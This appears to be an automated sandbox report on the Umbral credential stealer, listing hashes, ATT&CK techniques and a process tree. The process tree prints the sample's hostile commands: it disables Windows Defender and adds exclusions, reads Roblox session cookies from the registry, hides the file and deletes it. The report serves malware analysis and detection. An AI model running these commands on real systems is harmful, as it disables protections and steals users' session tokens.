umbral | b40b8ae2d3083f53ce18753b29592ba542865938295c4d656ecc649c6038d57b

Analysis

max time kernel
63s
max time network
72s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
12-01-2025 14:29

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Umbral.exe
Size

229KB
MD5

5ef325936584fbe65e97c89d5787b22b
SHA1

fbe3db5453a683a05c140de6a48169c683ffdb68
SHA256

b40b8ae2d3083f53ce18753b29592ba542865938295c4d656ecc649c6038d57b
SHA512

62db38a9449a7e6bdb0fe26228df1a2a8c9f62a05a28aff043b0e40e0eb2ae91ffc7d765b9fcfd74e981e413ab732f54545fb40ffe7ff0904993ba61fa4c00ad
SSDEEP

6144:lloZM+rIkd8g+EtXHkv/iD4AiblAmB5K9/Cwhl0B9b8e1mJi:noZtL+EP8AiblAmB5K9/Cwhl0z3

Score

10^/10

umbral discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/2860-0-0x0000029762B50000-0x0000029762B90000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1992	powershell.exe
4896	powershell.exe
2104	powershell.exe
2264	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Umbral.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
21	discord.com
22	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
8	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
3716	cmd.exe
4416	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2280	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4416	PING.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
2860	Umbral.exe
2264	powershell.exe
2264	powershell.exe
1992	powershell.exe
1992	powershell.exe
4896	powershell.exe
4896	powershell.exe
3644	powershell.exe
3644	powershell.exe
2104	powershell.exe
2104	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2860	Umbral.exe
Token: SeIncreaseQuotaPrivilege	3280	wmic.exe
Token: SeSecurityPrivilege	3280	wmic.exe
Token: SeTakeOwnershipPrivilege	3280	wmic.exe
Token: SeLoadDriverPrivilege	3280	wmic.exe
Token: SeSystemProfilePrivilege	3280	wmic.exe
Token: SeSystemtimePrivilege	3280	wmic.exe
Token: SeProfSingleProcessPrivilege	3280	wmic.exe
Token: SeIncBasePriorityPrivilege	3280	wmic.exe
Token: SeCreatePagefilePrivilege	3280	wmic.exe
Token: SeBackupPrivilege	3280	wmic.exe
Token: SeRestorePrivilege	3280	wmic.exe
Token: SeShutdownPrivilege	3280	wmic.exe
Token: SeDebugPrivilege	3280	wmic.exe
Token: SeSystemEnvironmentPrivilege	3280	wmic.exe
Token: SeRemoteShutdownPrivilege	3280	wmic.exe
Token: SeUndockPrivilege	3280	wmic.exe
Token: SeManageVolumePrivilege	3280	wmic.exe
Token: 33	3280	wmic.exe
Token: 34	3280	wmic.exe
Token: 35	3280	wmic.exe
Token: 36	3280	wmic.exe
Token: SeIncreaseQuotaPrivilege	3280	wmic.exe
Token: SeSecurityPrivilege	3280	wmic.exe
Token: SeTakeOwnershipPrivilege	3280	wmic.exe
Token: SeLoadDriverPrivilege	3280	wmic.exe
Token: SeSystemProfilePrivilege	3280	wmic.exe
Token: SeSystemtimePrivilege	3280	wmic.exe
Token: SeProfSingleProcessPrivilege	3280	wmic.exe
Token: SeIncBasePriorityPrivilege	3280	wmic.exe
Token: SeCreatePagefilePrivilege	3280	wmic.exe
Token: SeBackupPrivilege	3280	wmic.exe
Token: SeRestorePrivilege	3280	wmic.exe
Token: SeShutdownPrivilege	3280	wmic.exe
Token: SeDebugPrivilege	3280	wmic.exe
Token: SeSystemEnvironmentPrivilege	3280	wmic.exe
Token: SeRemoteShutdownPrivilege	3280	wmic.exe
Token: SeUndockPrivilege	3280	wmic.exe
Token: SeManageVolumePrivilege	3280	wmic.exe
Token: 33	3280	wmic.exe
Token: 34	3280	wmic.exe
Token: 35	3280	wmic.exe
Token: 36	3280	wmic.exe
Token: SeDebugPrivilege	2264	powershell.exe
Token: SeDebugPrivilege	1992	powershell.exe
Token: SeDebugPrivilege	4896	powershell.exe
Token: SeDebugPrivilege	3644	powershell.exe
Token: SeIncreaseQuotaPrivilege	1188	wmic.exe
Token: SeSecurityPrivilege	1188	wmic.exe
Token: SeTakeOwnershipPrivilege	1188	wmic.exe
Token: SeLoadDriverPrivilege	1188	wmic.exe
Token: SeSystemProfilePrivilege	1188	wmic.exe
Token: SeSystemtimePrivilege	1188	wmic.exe
Token: SeProfSingleProcessPrivilege	1188	wmic.exe
Token: SeIncBasePriorityPrivilege	1188	wmic.exe
Token: SeCreatePagefilePrivilege	1188	wmic.exe
Token: SeBackupPrivilege	1188	wmic.exe
Token: SeRestorePrivilege	1188	wmic.exe
Token: SeShutdownPrivilege	1188	wmic.exe
Token: SeDebugPrivilege	1188	wmic.exe
Token: SeSystemEnvironmentPrivilege	1188	wmic.exe
Token: SeRemoteShutdownPrivilege	1188	wmic.exe
Token: SeUndockPrivilege	1188	wmic.exe
Token: SeManageVolumePrivilege	1188	wmic.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 2860 wrote to memory of 3280	2860	Umbral.exe	83
PID 2860 wrote to memory of 3280	2860	Umbral.exe	83
PID 2860 wrote to memory of 3680	2860	Umbral.exe	86
PID 2860 wrote to memory of 3680	2860	Umbral.exe	86
PID 2860 wrote to memory of 2264	2860	Umbral.exe	88
PID 2860 wrote to memory of 2264	2860	Umbral.exe	88
PID 2860 wrote to memory of 1992	2860	Umbral.exe	90
PID 2860 wrote to memory of 1992	2860	Umbral.exe	90
PID 2860 wrote to memory of 4896	2860	Umbral.exe	92
PID 2860 wrote to memory of 4896	2860	Umbral.exe	92
PID 2860 wrote to memory of 3644	2860	Umbral.exe	94
PID 2860 wrote to memory of 3644	2860	Umbral.exe	94
PID 2860 wrote to memory of 1188	2860	Umbral.exe	96
PID 2860 wrote to memory of 1188	2860	Umbral.exe	96
PID 2860 wrote to memory of 3152	2860	Umbral.exe	98
PID 2860 wrote to memory of 3152	2860	Umbral.exe	98
PID 2860 wrote to memory of 4248	2860	Umbral.exe	100
PID 2860 wrote to memory of 4248	2860	Umbral.exe	100
PID 2860 wrote to memory of 2104	2860	Umbral.exe	102
PID 2860 wrote to memory of 2104	2860	Umbral.exe	102
PID 2860 wrote to memory of 2280	2860	Umbral.exe	104
PID 2860 wrote to memory of 2280	2860	Umbral.exe	104
PID 2860 wrote to memory of 3716	2860	Umbral.exe	106
PID 2860 wrote to memory of 3716	2860	Umbral.exe	106
PID 3716 wrote to memory of 4416	3716	cmd.exe	108
PID 3716 wrote to memory of 4416	3716	cmd.exe	108

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
3680	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Umbral.exe
"C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2860
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3280
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
  2⤵
  - Views/modifies file attributes
  PID:3680
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2264
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1992
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4896
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3644
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1188
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:3152
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:4248
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2104
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:2280
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Umbral.exe" && pause
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:3716
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:4416

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
6d3e9c29fe44e90aae6ed30ccf799ca8

SHA1
c7974ef72264bbdf13a2793ccf1aed11bc565dce

SHA256
2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

SHA512
60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
0b8cb2e6dd5794b6a56a4bdbbd430fd7

SHA1
2b08e348c3489c6a35761af073018e3784c12074

SHA256
bcce0d44e33747e4c39df9afbd0a4e98a47ded0188375e4dfdd94cafbb366e1f

SHA512
15ce3b588aa80899f69b0313c7e188d886bddbd09783ca732ac33f9ae8e4e017a72b6f98919f581383a4582732575e5faedb0dea87e01cf2b657424945fdf4d2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
276798eeb29a49dc6e199768bc9c2e71

SHA1
5fdc8ccb897ac2df7476fbb07517aca5b7a6205b

SHA256
cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc

SHA512
0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
56f53ebb44cc69d987604d4777e4556c

SHA1
82732bdef56badddc3e9c877d8627f63dc4907ce

SHA256
9e5e34aa45262908ff8f4ad54e930bf438bade057ce351cd344e9b3a80f22230

SHA512
ae965699dd952e25c5fb9293a95adb52450bed12d7fcce45a6b8ee8e3f8e880375cc787159dd76e78b81de2c588871e10e6f8463bebccaa9a74f1ba5a45959fb

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gw2lfodb.yxx.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2264-4-0x00007FFEAA390000-0x00007FFEAAE51000-memory.dmp

Filesize
10.8MB

Download
memory/2264-5-0x00007FFEAA390000-0x00007FFEAAE51000-memory.dmp

Filesize
10.8MB

Download
memory/2264-15-0x000002801D600000-0x000002801D622000-memory.dmp

Filesize
136KB

Download
memory/2264-18-0x00007FFEAA390000-0x00007FFEAAE51000-memory.dmp

Filesize
10.8MB

Download
memory/2264-3-0x00007FFEAA390000-0x00007FFEAAE51000-memory.dmp

Filesize
10.8MB

Download
memory/2860-34-0x000002977D260000-0x000002977D2B0000-memory.dmp

Filesize
320KB

Download
memory/2860-33-0x000002977D2E0000-0x000002977D356000-memory.dmp

Filesize
472KB

Download
memory/2860-35-0x00000297648D0000-0x00000297648EE000-memory.dmp

Filesize
120KB

Download
memory/2860-1-0x00007FFEAA393000-0x00007FFEAA395000-memory.dmp

Filesize
8KB

Download
memory/2860-0-0x0000029762B50000-0x0000029762B90000-memory.dmp

Filesize
256KB

Download
memory/2860-72-0x0000029764920000-0x000002976492A000-memory.dmp

Filesize
40KB

Download
memory/2860-73-0x000002977D460000-0x000002977D472000-memory.dmp

Filesize
72KB

Download
memory/2860-2-0x00007FFEAA390000-0x00007FFEAAE51000-memory.dmp

Filesize
10.8MB

Download
memory/2860-93-0x00007FFEAA390000-0x00007FFEAAE51000-memory.dmp

Filesize
10.8MB

Download